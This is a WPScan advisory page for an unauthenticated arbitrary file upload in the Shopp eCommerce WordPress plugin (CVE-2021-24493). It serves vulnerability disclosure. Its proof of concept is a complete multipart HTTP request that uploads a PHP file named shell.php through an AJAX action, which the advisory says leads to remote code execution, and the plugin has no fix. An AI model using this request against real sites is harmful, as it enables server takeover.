WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Shopp eCommerce <= 1.4 - Unauthenticated Arbitrary File Upload

Description

The shopp_upload_file AJAX action of the plugin, available to both unauthenticated and authenticated user does not have any security measure in place to prevent upload of malicious files, such as PHP, allowing unauthenticated users to upload arbitrary files and leading to RCE

Proof of Concept

https://www.youtube.com/watch?v=Y4dHEk2mWLw

POST /wp-admin/admin-ajax.php?action=shopp_upload_file HTTP/1.1
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2167174666627501894262091506
Content-Length: 499
Connection: close

-----------------------------2167174666627501894262091506
Content-Disposition: form-data; name="dzchunkindex"

0
-----------------------------2167174666627501894262091506
Content-Disposition: form-data; name="dztotalchunkcount"

1
-----------------------------2167174666627501894262091506
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php
echo 'Failed';
?>

-----------------------------2167174666627501894262091506--


Uploaded file will be at https://example.com/wp-content/uploads/shell.php 

Affects Plugins

shopp
No known fix - plugin closed

References

CVE
CVE-2021-24493

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

Fellipe Oliveira (h3v0x)

Submitter

Fellipe Oliveira

Submitter twitter
Fellipe1667
Verified

Yes

WPVDB ID
dcc7be04-550b-427a-a14f-a2365d96a00e

Timeline

Publicly Published

2021-08-17 (about 10 months ago)

Added

2021-08-17 (about 10 months ago)

Last Updated

2022-04-09 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us